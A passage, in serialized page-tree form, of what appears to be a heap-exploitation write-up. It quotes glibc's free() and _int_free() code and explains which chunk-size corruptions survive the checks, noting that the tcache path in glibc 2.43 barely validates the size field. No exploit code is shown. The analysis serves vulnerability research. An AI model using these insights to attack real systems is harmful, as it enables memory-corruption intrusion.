(mem);\n",{"type":23,"tag":134,"props":126063,"children":126064},{"class":136,"line":466},[126065,126069,126073,126078],{"type":23,"tag":134,"props":126066,"children":126067},{"style":189},[126068],{"type":28,"value":30889},{"type":23,"tag":134,"props":126070,"children":126071},{"style":179},[126072],{"type":28,"value":232},{"type":23,"tag":134,"props":126074,"children":126075},{"style":264},[126076],{"type":28,"value":126077},"chunk_is_mmapped",{"type":23,"tag":134,"props":126079,"children":126080},{"style":179},[126081],{"type":28,"value":126082}," (p))\n",{"type":23,"tag":134,"props":126084,"children":126085},{"class":136,"line":479},[126086],{"type":23,"tag":134,"props":126087,"children":126088},{"style":179},[126089],{"type":28,"value":28680},{"type":23,"tag":134,"props":126091,"children":126092},{"class":136,"line":497},[126093,126098],{"type":23,"tag":134,"props":126094,"children":126095},{"style":264},[126096],{"type":28,"value":126097},"      munmap_chunk",{"type":23,"tag":134,"props":126099,"children":126100},{"style":179},[126101],{"type":28,"value":126102}," (p);\n",{"type":23,"tag":134,"props":126104,"children":126105},{"class":136,"line":518},[126106],{"type":23,"tag":134,"props":126107,"children":126108},{"style":179},[126109],{"type":28,"value":533},{"type":23,"tag":134,"props":126111,"children":126112},{"class":136,"line":527},[126113],{"type":23,"tag":134,"props":126114,"children":126115},{"style":189},[126116],{"type":28,"value":126117},"  else\n",{"type":23,"tag":134,"props":126119,"children":126120},{"class":136,"line":780},[126121],{"type":23,"tag":134,"props":126122,"children":126123},{"style":179},[126124],{"type":28,"value":28680},{"type":23,"tag":134,"props":126126,"children":126127},{"class":136,"line":797},[126128,126133],{"type":23,"tag":134,"props":126129,"children":126130},{"style":264},[126131],{"type":28,"value":126132},"      MAYBE_INIT_TCACHE",{"type":23,"tag":134,"props":126134,"children":126135},{"style":179},[126136],{"type":28,"value":126137}," ();\n",{"type":23,"tag":134,"props":126139,"children":126140},{"class":136,"line":814},[126141],{"type":23,"tag":134,"props":126142,"children":126143},{"emptyLinePlaceholder":15},[126144],{"type":28,"value":865},{"type":23,"tag":134,"props":126146,"children":126147},{"class":136,"line":827},[126148,126153,126157,126162],{"type":23,"tag":134,"props":126149,"children":126150},{"style":179},[126151],{"type":28,"value":126152},"      ar_ptr ",{"type":23,"tag":134,"props":126154,"children":126155},{"style":168},[126156],{"type":28,"value":257},{"type":23,"tag":134,"props":126158,"children":126159},{"style":264},[126160],{"type":28,"value":126161}," arena_for_chunk",{"type":23,"tag":134,"props":126163,"children":126164},{"style":179},[126165],{"type":28,"value":126102},{"type":23,"tag":134,"props":126167,"children":126168},{"class":136,"line":836},[126169,126174,126179,126183],{"type":23,"tag":134,"props":126170,"children":126171},{"style":264},[126172],{"type":28,"value":126173},"      _int_free",{"type":23,"tag":134,"props":126175,"children":126176},{"style":179},[126177],{"type":28,"value":126178}," (ar_ptr, p, ",{"type":23,"tag":134,"props":126180,"children":126181},{"style":205},[126182],{"type":28,"value":1224},{"type":23,"tag":134,"props":126184,"children":126185},{"style":179},[126186],{"type":28,"value":1021},{"type":23,"tag":134,"props":126188,"children":126189},{"class":136,"line":859},[126190],{"type":23,"tag":134,"props":126191,"children":126192},{"style":179},[126193],{"type":28,"value":533},{"type":23,"tag":134,"props":126195,"children":126196},{"class":136,"line":868},[126197],{"type":23,"tag":134,"props":126198,"children":126199},{"style":179},[126200],{"type":28,"value":1098},{"type":23,"tag":24,"props":126202,"children":126203},{},[126204,126206,126211,126213,126218,126220,126226,126228,126234,126236,126241,126243,126248,126250,126255,126257,126262],{"type":28,"value":126205},"We can see that if the ",{"type":23,"tag":92,"props":126207,"children":126209},{"className":126208},[],[126210],{"type":28,"value":125941},{"type":28,"value":126212}," bit is set in the corrupted ",{"type":23,"tag":92,"props":126214,"children":126216},{"className":126215},[],[126217],{"type":28,"value":123772},{"type":28,"value":126219}," field, glibc will call ",{"type":23,"tag":92,"props":126221,"children":126223},{"className":126222},[],[126224],{"type":28,"value":126225},"munmap_chunk",{"type":28,"value":126227},", which internally checks that ",{"type":23,"tag":92,"props":126229,"children":126231},{"className":126230},[],[126232],{"type":28,"value":126233},"prev_size + size",{"type":28,"value":126235}," is page-aligned. To reach the ",{"type":23,"tag":92,"props":126237,"children":126239},{"className":126238},[],[126240],{"type":28,"value":123772},{"type":28,"value":126242}," field, we first have to overwrite the entire 8-byte ",{"type":23,"tag":92,"props":126244,"children":126246},{"className":126245},[],[126247],{"type":28,"value":125891},{"type":28,"value":126249}," field with uncontrolled data. The chance that a corrupted ",{"type":23,"tag":92,"props":126251,"children":126253},{"className":126252},[],[126254],{"type":28,"value":126233},{"type":28,"value":126256}," value still ends up page-aligned is extremely small. In practice, if ",{"type":23,"tag":92,"props":126258,"children":126260},{"className":126259},[],[126261],{"type":28,"value":125941},{"type":28,"value":126263}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":23,"tag":24,"props":126265,"children":126266},{},[126267,126269,126274,126276,126282],{"type":28,"value":126268},"Assuming ",{"type":23,"tag":92,"props":126270,"children":126272},{"className":126271},[],[126273],{"type":28,"value":125941},{"type":28,"value":126275}," is not set, execution continues into ",{"type":23,"tag":92,"props":126277,"children":126279},{"className":126278},[],[126280],{"type":28,"value":126281},"_int_free",{"type":28,"value":1697},{"type":23,"tag":87,"props":126284,"children":126286},{"code":126285,"language":315,"meta":7,"className":15985,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[126287],{"type":23,"tag":92,"props":126288,"children":126289},{"__ignoreMap":7},[126290,126302,126345,126352,126360,126367,126388,126395,126403,126411,126419,126427,126491,126526,126547,126555,126563,126611,126631,126638,126651,126658],{"type":23,"tag":134,"props":126291,"children":126292},{"class":136,"line":137},[126293,126297],{"type":23,"tag":134,"props":126294,"children":126295},{"style":151},[126296],{"type":28,"value":50550},{"type":23,"tag":134,"props":126298,"children":126299},{"style":151},[126300],{"type":28,"value":126301}," void\n",{"type":23,"tag":134,"props":126303,"children":126304},{"class":136,"line":147},[126305,126309,126314,126319,126324,126328,126332,126336,126341],{"type":23,"tag":134,"props":126306,"children":126307},{"style":264},[126308],{"type":28,"value":126281},{"type":23,"tag":134,"props":126310,"children":126311},{"style":179},[126312],{"type":28,"value":126313}," (mstate ",{"type":23,"tag":134,"props":126315,"children":126316},{"style":162},[126317],{"type":28,"value":126318},"av",{"type":23,"tag":134,"props":126320,"children":126321},{"style":179},[126322],{"type":28,"value":126323},", mchunkptr ",{"type":23,"tag":134,"props":126325,"children":126326},{"style":162},[126327],{"type":28,"value":24},{"type":23,"tag":134,"props":126329,"children":126330},{"style":179},[126331],{"type":28,"value":242},{"type":23,"tag":134,"props":126333,"children":126334},{"style":151},[126335],{"type":28,"value":18523},{"type":23,"tag":134,"props":126337,"children":126338},{"style":162},[126339],{"type":28,"value":126340}," have_lock",{"type":23,"tag":134,"props":126342,"children":126343},{"style":179},[126344],{"type":28,"value":329},{"type":23,"tag":134,"props":126346,"children":126347},{"class":136,"line":185},[126348],{"type":23,"tag":134,"props":126349,"children":126350},{"style":179},[126351],{"type":28,"value":10346},{"type":23,"tag":134,"props":126353,"children":126354},{"class":136,"line":221},[126355],{"type":23,"tag":134,"props":126356,"children":126357},{"style":179},[126358],{"type":28,"value":126359},"  INTERNAL_SIZE_T size;\n",{"type":23,"tag":134,"props":126361,"children":126362},{"class":136,"line":332},[126363],{"type":23,"tag":134,"props":126364,"children":126365},{"emptyLinePlaceholder":15},[126366],{"type":28,"value":865},{"type":23,"tag":134,"props":126368,"children":126369},{"class":136,"line":438},[126370,126375,126379,126384],{"type":23,"tag":134,"props":126371,"children":126372},{"style":179},[126373],{"type":28,"value":126374},"  size ",{"type":23,"tag":134,"props":126376,"children":126377},{"style":168},[126378],{"type":28,"value":257},{"type":23,"tag":134,"props":126380,"children":126381},{"style":264},[126382],{"type":28,"value":126383}," chunksize",{"type":23,"tag":134,"props":126385,"children":126386},{"style":179},[126387],{"type":28,"value":126102},{"type":23,"tag":134,"props":126389,"children":126390},{"class":136,"line":466},[126391],{"type":23,"tag":134,"props":126392,"children":126393},{"emptyLinePlaceholder":15},[126394],{"type":28,"value":865},{"type":23,"tag":134,"props":126396,"children":126397},{"class":136,"line":479},[126398],{"type":23,"tag":134,"props":126399,"children":126400},{"style":141},[126401],{"type":28,"value":126402},"  /* Little security check which won't hurt performance: the\n",{"type":23,"tag":134,"props":126404,"children":126405},{"class":136,"line":497},[126406],{"type":23,"tag":134,"props":126407,"children":126408},{"style":141},[126409],{"type":28,"value":126410},"     allocator never wraps around at the end of the address space.\n",{"type":23,"tag":134,"props":126412,"children":126413},{"class":136,"line":518},[126414],{"type":23,"tag":134,"props":126415,"children":126416},{"style":141},[126417],{"type":28,"value":126418},"     Therefore we can exclude some size values which might appear\n",{"type":23,"tag":134,"props":126420,"children":126421},{"class":136,"line":527},[126422],{"type":23,"tag":134,"props":126423,"children":126424},{"style":141},[126425],{"type":28,"value":126426},"     here by accident or by \"design\" from some intruder.  */\n",{"type":23,"tag":134,"props":126428,"children":126429},{"class":136,"line":780},[126430,126434,126438,126443,126448,126453,126458,126462,126466,126470,126474,126478,126483,126487],{"type":23,"tag":134,"props":126431,"children":126432},{"style":189},[126433],{"type":28,"value":30889},{"type":23,"tag":134,"props":126435,"children":126436},{"style":179},[126437],{"type":28,"value":232},{"type":23,"tag":134,"props":126439,"children":126440},{"style":264},[126441],{"type":28,"value":126442},"__builtin_expect",{"type":23,"tag":134,"props":126444,"children":126445},{"style":179},[126446],{"type":28,"value":126447}," ((",{"type":23,"tag":134,"props":126449,"children":126450},{"style":151},[126451],{"type":28,"value":126452},"uintptr_t",{"type":23,"tag":134,"props":126454,"children":126455},{"style":179},[126456],{"type":28,"value":126457},") p ",{"type":23,"tag":134,"props":126459,"children":126460},{"style":168},[126461],{"type":28,"value":9927},{"type":23,"tag":134,"props":126463,"children":126464},{"style":179},[126465],{"type":28,"value":232},{"type":23,"tag":134,"props":126467,"children":126468},{"style":151},[126469],{"type":28,"value":126452},{"type":23,"tag":134,"props":126471,"children":126472},{"style":179},[126473],{"type":28,"value":252},{"type":23,"tag":134,"props":126475,"children":126476},{"style":168},[126477],{"type":28,"value":1532},{"type":23,"tag":134,"props":126479,"children":126480},{"style":179},[126481],{"type":28,"value":126482},"size, ",{"type":23,"tag":134,"props":126484,"children":126485},{"style":205},[126486],{"type":28,"value":1224},{"type":23,"tag":134,"props":126488,"children":126489},{"style":179},[126490],{"type":28,"value":329},{"type":23,"tag":134,"props":126492,"children":126493},{"class":136,"line":797},[126494,126499,126504,126508,126513,126518,126522],{"type":23,"tag":134,"props":126495,"children":126496},{"style":168},[126497],{"type":28,"value":126498},"      ||",{"type":23,"tag":134,"props":126500,"children":126501},{"style":264},[126502],{"type":28,"value":126503}," __builtin_expect",{"type":23,"tag":134,"props":126505,"children":126506},{"style":179},[126507],{"type":28,"value":232},{"type":23,"tag":134,"props":126509,"children":126510},{"style":264},[126511],{"type":28,"value":126512},"misaligned_chunk",{"type":23,"tag":134,"props":126514,"children":126515},{"style":179},[126516],{"type":28,"value":126517}," (p), ",{"type":23,"tag":134,"props":126519,"children":126520},{"style":205},[126521],{"type":28,"value":1224},{"type":23,"tag":134,"props":126523,"children":126524},{"style":179},[126525],{"type":28,"value":19189},{"type":23,"tag":134,"props":126527,"children":126528},{"class":136,"line":814},[126529,126534,126538,126543],{"type":23,"tag":134,"props":126530,"children":126531},{"style":264},[126532],{"type":28,"value":126533},"    malloc_printerr",{"type":23,"tag":134,"props":126535,"children":126536},{"style":179},[126537],{"type":28,"value":232},{"type":23,"tag":134,"props":126539,"children":126540},{"style":1461},[126541],{"type":28,"value":126542},"\"free(): invalid pointer\"",{"type":23,"tag":134,"props":126544,"children":126545},{"style":179},[126546],{"type":28,"value":1021},{"type":23,"tag":134,"props":126548,"children":126549},{"class":136,"line":827},[126550],{"type":23,"tag":134,"props":126551,"children":126552},{"style":141},[126553],{"type":28,"value":126554},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":23,"tag":134,"props":126556,"children":126557},{"class":136,"line":836},[126558],{"type":23,"tag":134,"props":126559,"children":126560},{"style":141},[126561],{"type":28,"value":126562},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":23,"tag":134,"props":126564,"children":126565},{"class":136,"line":859},[126566,126570,126574,126579,126584,126588,126593,126597,126601,126606],{"type":23,"tag":134,"props":126567,"children":126568},{"style":189},[126569],{"type":28,"value":30889},{"type":23,"tag":134,"props":126571,"children":126572},{"style":179},[126573],{"type":28,"value":232},{"type":23,"tag":134,"props":126575,"children":126576},{"style":264},[126577],{"type":28,"value":126578},"__glibc_unlikely",{"type":23,"tag":134,"props":126580,"children":126581},{"style":179},[126582],{"type":28,"value":126583}," (size ",{"type":23,"tag":134,"props":126585,"children":126586},{"style":168},[126587],{"type":28,"value":5262},{"type":23,"tag":134,"props":126589,"children":126590},{"style":179},[126591],{"type":28,"value":126592}," MINSIZE ",{"type":23,"tag":134,"props":126594,"children":126595},{"style":168},[126596],{"type":28,"value":21897},{"type":23,"tag":134,"props":126598,"children":126599},{"style":168},[126600],{"type":28,"value":12331},{"type":23,"tag":134,"props":126602,"children":126603},{"style":264},[126604],{"type":28,"value":126605},"aligned_OK",{"type":23,"tag":134,"props":126607,"children":126608},{"style":179},[126609],{"type":28,"value":126610}," (size)))\n",{"type":23,"tag":134,"props":126612,"children":126613},{"class":136,"line":868},[126614,126618,126622,126627],{"type":23,"tag":134,"props":126615,"children":126616},{"style":264},[126617],{"type":28,"value":126533},{"type":23,"tag":134,"props":126619,"children":126620},{"style":179},[126621],{"type":28,"value":232},{"type":23,"tag":134,"props":126623,"children":126624},{"style":1461},[126625],{"type":28,"value":126626},"\"free(): invalid size\"",{"type":23,"tag":134,"props":126628,"children":126629},{"style":179},[126630],{"type":28,"value":1021},{"type":23,"tag":134,"props":126632,"children":126633},{"class":136,"line":877},[126634],{"type":23,"tag":134,"props":126635,"children":126636},{"emptyLinePlaceholder":15},[126637],{"type":28,"value":865},{"type":23,"tag":134,"props":126639,"children":126640},{"class":136,"line":946},[126641,126646],{"type":23,"tag":134,"props":126642,"children":126643},{"style":264},[126644],{"type":28,"value":126645},"  check_inuse_chunk",{"type":23,"tag":134,"props":126647,"children":126648},{"style":179},[126649],{"type":28,"value":126650},"(av, p);\n",{"type":23,"tag":134,"props":126652,"children":126653},{"class":136,"line":954},[126654],{"type":23,"tag":134,"props":126655,"children":126656},{"emptyLinePlaceholder":15},[126657],{"type":28,"value":865},{"type":23,"tag":134,"props":126659,"children":126660},{"class":136,"line":984},[126661],{"type":23,"tag":134,"props":126662,"children":126663},{"style":179},[126664],{"type":28,"value":126665},"  [...]\n",{"type":23,"tag":24,"props":126667,"children":126668},{},[126669],{"type":28,"value":126670},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":23,"tag":24,"props":126672,"children":126673},{},[126674,126676,126681,126683,126688,126690,126695,126697,126702],{"type":28,"value":126675},"The next check, however, ensures that the ",{"type":23,"tag":92,"props":126677,"children":126679},{"className":126678},[],[126680],{"type":28,"value":123772},{"type":28,"value":126682}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":23,"tag":92,"props":126684,"children":126686},{"className":126685},[],[126687],{"type":28,"value":123772},{"type":28,"value":126689}," must preserve alignment while also avoiding the ",{"type":23,"tag":92,"props":126691,"children":126693},{"className":126692},[],[126694],{"type":28,"value":125941},{"type":28,"value":126696}," bit. Under those constraints, exploiting the bug through ",{"type":23,"tag":92,"props":126698,"children":126700},{"className":126699},[],[126701],{"type":28,"value":123772},{"type":28,"value":126703}," corruption looked very unreliable at first.",{"type":23,"tag":24,"props":126705,"children":126706},{},[126707],{"type":28,"value":126708},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":23,"tag":87,"props":126710,"children":126712},{"code":126711,"language":315,"meta":7,"className":15985,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[126713],{"type":23,"tag":92,"props":126714,"children":126715},{"__ignoreMap":7},[126716,126724,126751,126758,126765,126772,126791,126798,126818,126825,126853,126877,126884,126897,126939,126946,126954,126961,126978],{"type":23,"tag":134,"props":126717,"children":126718},{"class":136,"line":137},[126719],{"type":23,"tag":134,"props":126720,"children":126721},{"style":151},[126722],{"type":28,"value":126723},"void\n",{"type":23,"tag":134,"props":126725,"children":126726},{"class":136,"line":147},[126727,126731,126735,126739,126743,126747],{"type":23,"tag":134,"props":126728,"children":126729},{"style":264},[126730],{"type":28,"value":125989},{"type":23,"tag":134,"props":126732,"children":126733},{"style":179},[126734],{"type":28,"value":232},{"type":23,"tag":134,"props":126736,"children":126737},{"style":151},[126738],{"type":28,"value":51133},{"type":23,"tag":134,"props":126740,"children":126741},{"style":168},[126742],{"type":28,"value":9281},{"type":23,"tag":134,"props":126744,"children":126745},{"style":162},[126746],{"type":28,"value":40163},{"type":23,"tag":134,"props":126748,"children":126749},{"style":179},[126750],{"type":28,"value":329},{"type":23,"tag":134,"props":126752,"children":126753},{"class":136,"line":185},[126754],{"type":23,"tag":134,"props":126755,"children":126756},{"style":179},[126757],{"type":28,"value":10346},{"type":23,"tag":134,"props":126759,"children":126760},{"class":136,"line":221},[126761],{"type":23,"tag":134,"props":126762,"children":126763},{"style":179},[126764],{"type":28,"value":126032},{"type":23,"tag":134,"props":126766,"children":126767},{"class":136,"line":332},[126768],{"type":23,"tag":134,"props":126769,"children":126770},{"emptyLinePlaceholder":15},[126771],{"type":28,"value":865},{"type":23,"tag":134,"props":126773,"children":126774},{"class":136,"line":438},[126775,126779,126783,126787],{"type":23,"tag":134,"props":126776,"children":126777},{"style":179},[126778],{"type":28,"value":126047},{"type":23,"tag":134,"props":126780,"children":126781},{"style":168},[126782],{"type":28,"value":257},{"type":23,"tag":134,"props":126784,"children":126785},{"style":264},[126786],{"type":28,"value":126056},{"type":23,"tag":134,"props":126788,"children":126789},{"style":179},[126790],{"type":28,"value":126061},{"type":23,"tag":134,"props":126792,"children":126793},{"class":136,"line":466},[126794],{"type":23,"tag":134,"props":126795,"children":126796},{"emptyLinePlaceholder":15},[126797],{"type":28,"value":865},{"type":23,"tag":134,"props":126799,"children":126800},{"class":136,"line":479},[126801,126806,126810,126814],{"type":23,"tag":134,"props":126802,"children":126803},{"style":179},[126804],{"type":28,"value":126805},"  INTERNAL_SIZE_T size ",{"type":23,"tag":134,"props":126807,"children":126808},{"style":168},[126809],{"type":28,"value":257},{"type":23,"tag":134,"props":126811,"children":126812},{"style":264},[126813],{"type":28,"value":126383},{"type":23,"tag":134,"props":126815,"children":126816},{"style":179},[126817],{"type":28,"value":126102},{"type":23,"tag":134,"props":126819,"children":126820},{"class":136,"line":497},[126821],{"type":23,"tag":134,"props":126822,"children":126823},{"emptyLinePlaceholder":15},[126824],{"type":28,"value":865},{"type":23,"tag":134,"props":126826,"children":126827},{"class":136,"line":518},[126828,126832,126836,126840,126844,126848],{"type":23,"tag":134,"props":126829,"children":126830},{"style":189},[126831],{"type":28,"value":30889},{"type":23,"tag":134,"props":126833,"children":126834},{"style":179},[126835],{"type":28,"value":232},{"type":23,"tag":134,"props":126837,"children":126838},{"style":264},[126839],{"type":28,"value":126578},{"type":23,"tag":134,"props":126841,"children":126842},{"style":179},[126843],{"type":28,"value":232},{"type":23,"tag":134,"props":126845,"children":126846},{"style":264},[126847],{"type":28,"value":126512},{"type":23,"tag":134,"props":126849,"children":126850},{"style":179},[126851],{"type":28,"value":126852}," (p)))\n",{"type":23,"tag":134,"props":126854,"children":126855},{"class":136,"line":527},[126856,126860,126865,126869,126873],{"type":23,"tag":134,"props":126857,"children":126858},{"style":189},[126859],{"type":28,"value":16461},{"type":23,"tag":134,"props":126861,"children":126862},{"style":264},[126863],{"type":28,"value":126864}," malloc_printerr_tail",{"type":23,"tag":134,"props":126866,"children":126867},{"style":179},[126868],{"type":28,"value":232},{"type":23,"tag":134,"props":126870,"children":126871},{"style":1461},[126872],{"type":28,"value":126542},{"type":23,"tag":134,"props":126874,"children":126875},{"style":179},[126876],{"type":28,"value":1021},{"type":23,"tag":134,"props":126878,"children":126879},{"class":136,"line":780},[126880],{"type":23,"tag":134,"props":126881,"children":126882},{"emptyLinePlaceholder":15},[126883],{"type":28,"value":865},{"type":23,"tag":134,"props":126885,"children":126886},{"class":136,"line":797},[126887,126892],{"type":23,"tag":134,"props":126888,"children":126889},{"style":189},[126890],{"type":28,"value":126891},"#if",{"type":23,"tag":134,"props":126893,"children":126894},{"style":264},[126895],{"type":28,"value":126896}," USE_TCACHE\n",{"type":23,"tag":134,"props":126898,"children":126899},{"class":136,"line":814},[126900,126904,126908,126913,126917,126921,126926,126930,126935],{"type":23,"tag":134,"props":126901,"children":126902},{"style":189},[126903],{"type":28,"value":30889},{"type":23,"tag":134,"props":126905,"children":126906},{"style":179},[126907],{"type":28,"value":232},{"type":23,"tag":134,"props":126909,"children":126910},{"style":264},[126911],{"type":28,"value":126912},"__glibc_likely",{"type":23,"tag":134,"props":126914,"children":126915},{"style":179},[126916],{"type":28,"value":126583},{"type":23,"tag":134,"props":126918,"children":126919},{"style":168},[126920],{"type":28,"value":5262},{"type":23,"tag":134,"props":126922,"children":126923},{"style":162},[126924],{"type":28,"value":126925}," mp_",{"type":23,"tag":134,"props":126927,"children":126928},{"style":179},[126929],{"type":28,"value":720},{"type":23,"tag":134,"props":126931,"children":126932},{"style":162},[126933],{"type":28,"value":126934},"tcache_max_bytes",{"type":23,"tag":134,"props":126936,"children":126937},{"style":179},[126938],{"type":28,"value":19189},{"type":23,"tag":134,"props":126940,"children":126941},{"class":136,"line":827},[126942],{"type":23,"tag":134,"props":126943,"children":126944},{"style":179},[126945],{"type":28,"value":28680},{"type":23,"tag":134,"props":126947,"children":126948},{"class":136,"line":836},[126949],{"type":23,"tag":134,"props":126950,"children":126951},{"style":179},[126952],{"type":28,"value":126953},"      [...]\n",{"type":23,"tag":134,"props":126955,"children":126956},{"class":136,"line":859},[126957],{"type":23,"tag":134,"props":126958,"children":126959},{"emptyLinePlaceholder":15},[126960],{"type":28,"value":865},{"type":23,"tag":134,"props":126962,"children":126963},{"class":136,"line":868},[126964,126968,126973],{"type":23,"tag":134,"props":126965,"children":126966},{"style":189},[126967],{"type":28,"value":38855},{"type":23,"tag":134,"props":126969,"children":126970},{"style":264},[126971],{"type":28,"value":126972}," tcache_put",{"type":23,"tag":134,"props":126974,"children":126975},{"style":179},[126976],{"type":28,"value":126977}," (p, tc_idx);\n",{"type":23,"tag":134,"props":126979,"children":126980},{"class":136,"line":877},[126981],{"type":23,"tag":134,"props":126982,"children":126983},{"style":179},[126984],{"type":28,"value":533},{"type":23,"tag":24,"props":126986,"children":126987},{},[126988,126990,126995],{"type":28,"value":126989},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":23,"tag":92,"props":126991,"children":126993},{"className":126992},[],[126994],{"type":28,"value":123772},{"type":28,"value":126996}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":23,"tag":24,"props":126998,"children":126999},{},[127000,127002,127008,127009,127014],{"type":28,"value":127001},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":23,"tag":92,"props":127003,"children":127005},{"className":127004},[],[127006],{"type":28,"value":127007},"check_inuse_chunk",{"type":28,"value":232},{"type":23,"tag":92,"props":127010,"children":127012},{"className":127011},[],[127013],{"type":28,"value":123900},{"type":28,"value":23436},{"type":23,"tag":87,"props":127016,"children":127018},{"code":127017,"language":315,"meta":7,"className":15985,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[127019],{"type":23,"tag":92,"props":127020,"children":127021},{"__ignoreMap":7},[127022,127029,127056,127063,127070,127077,127096,127103,127122,127129,127156,127179,127186,127212,127219,127230,127287],{"type":23,"tag":134,"props":127023,"children":127024},{"class":136,"line":137},[127025],{"type":23,"tag":134,"props":127026,"children":127027},{"style":151},[127028],{"type":28,"value":126723},{"type":23,"tag":134,"props":127030,"children":127031},{"class":136,"line":147},[127032,127036,127040,127044,127048,127052],{"type":23,"tag":134,"props":127033,"children":127034},{"style":264},[127035],{"type":28,"value":125989},{"type":23,"tag":134,"props":127037,"children":127038},{"style":179},[127039],{"type":28,"value":232},{"type":23,"tag":134,"props":127041,"children":127042},{"style":151},[127043],{"type":28,"value":51133},{"type":23,"tag":134,"props":127045,"children":127046},{"style":168},[127047],{"type":28,"value":9281},{"type":23,"tag":134,"props":127049,"children":127050},{"style":162},[127051],{"type":28,"value":40163},{"type":23,"tag":134,"props":127053,"children":127054},{"style":179},[127055],{"type":28,"value":329},{"type":23,"tag":134,"props":127057,"children":127058},{"class":136,"line":185},[127059],{"type":23,"tag":134,"props":127060,"children":127061},{"style":179},[127062],{"type":28,"value":10346},{"type":23,"tag":134,"props":127064,"children":127065},{"class":136,"line":221},[127066],{"type":23,"tag":134,"props":127067,"children":127068},{"style":179},[127069],{"type":28,"value":126032},{"type":23,"tag":134,"props":127071,"children":127072},{"class":136,"line":332},[127073],{"type":23,"tag":134,"props":127074,"children":127075},{"emptyLinePlaceholder":15},[127076],{"type":28,"value":865},{"type":23,"tag":134,"props":127078,"children":127079},{"class":136,"line":438},[127080,127084,127088,127092],{"type":23,"tag":134,"props":127081,"children":127082},{"style":179},[127083],{"type":28,"value":126047},{"type":23,"tag":134,"props":127085,"children":127086},{"style":168},[127087],{"type":28,"value":257},{"type":23,"tag":134,"props":127089,"children":127090},{"style":264},[127091],{"type":28,"value":126056},{"type":23,"tag":134,"props":127093,"children":127094},{"style":179},[127095],{"type":28,"value":126061},{"type":23,"tag":134,"props":127097,"children":127098},{"class":136,"line":466},[127099],{"type":23,"tag":134,"props":127100,"children":127101},{"emptyLinePlaceholder":15},[127102],{"type":28,"value":865},{"type":23,"tag":134,"props":127104,"children":127105},{"class":136,"line":479},[127106,127110,127114,127118],{"type":23,"tag":134,"props":127107,"children":127108},{"style":179},[127109],{"type":28,"value":126805},{"type":23,"tag":134,"props":127111,"children":127112},{"style":168},[127113],{"type":28,"value":257},{"type":23,"tag":134,"props":127115,"children":127116},{"style":264},[127117],{"type":28,"value":126383},{"type":23,"tag":134,"props":127119,"children":127120},{"style":179},[127121],{"type":28,"value":126102},{"type":23,"tag":134,"props":127123,"children":127124},{"class":136,"line":497},[127125],{"type":23,"tag":134,"props":127126,"children":127127},{"emptyLinePlaceholder":15},[127128],{"type":28,"value":865},{"type":23,"tag":134,"props":127130,"children":127131},{"class":136,"line":518},[127132,127136,127140,127144,127148,127152],{"type":23,"tag":134,"props":127133,"children":127134},{"style":189},[127135],{"type":28,"value":30889},{"type":23,"tag":134,"props":127137,"children":127138},{"style":179},[127139],{"type":28,"value":232},{"type":23,"tag":134,"props":127141,"children":127142},{"style":264},[127143],{"type":28,"value":126578},{"type":23,"tag":134,"props":127145,"children":127146},{"style":179},[127147],{"type":28,"value":232},{"type":23,"tag":134,"props":127149,"children":127150},{"style":264},[127151],{"type":28,"value":126512},{"type":23,"tag":134,"props":127153,"children":127154},{"style":179},[127155],{"type":28,"value":126852},{"type":23,"tag":134,"props":127157,"children":127158},{"class":136,"line":527},[127159,127163,127167,127171,127175],{"type":23,"tag":134,"props":127160,"children":127161},{"style":189},[127162],{"type":28,"value":16461},{"type":23,"tag":134,"props":127164,"children":127165},{"style":264},[127166],{"type":28,"value":126864},{"type":23,"tag":134,"props":127168,"children":127169},{"style":179},[127170],{"type":28,"value":232},{"type":23,"tag":134,"props":127172,"children":127173},{"style":1461},[127174],{"type":28,"value":126542},{"type":23,"tag":134,"props":127176,"children":127177},{"style":179},[127178],{"type":28,"value":1021},{"type":23,"tag":134,"props":127180,"children":127181},{"class":136,"line":780},[127182],{"type":23,"tag":134,"props":127183,"children":127184},{"emptyLinePlaceholder":15},[127185],{"type":28,"value":865},{"type":23,"tag":134,"props":127187,"children":127188},{"class":136,"line":797},[127189,127193,127197,127202,127207],{"type":23,"tag":134,"props":127190,"children":127191},{"style":264},[127192],{"type":28,"value":126645},{"type":23,"tag":134,"props":127194,"children":127195},{"style":179},[127196],{"type":28,"value":232},{"type":23,"tag":134,"props":127198,"children":127199},{"style":264},[127200],{"type":28,"value":127201},"arena_for_chunk",{"type":23,"tag":134,"props":127203,"children":127204},{"style":179},[127205],{"type":28,"value":1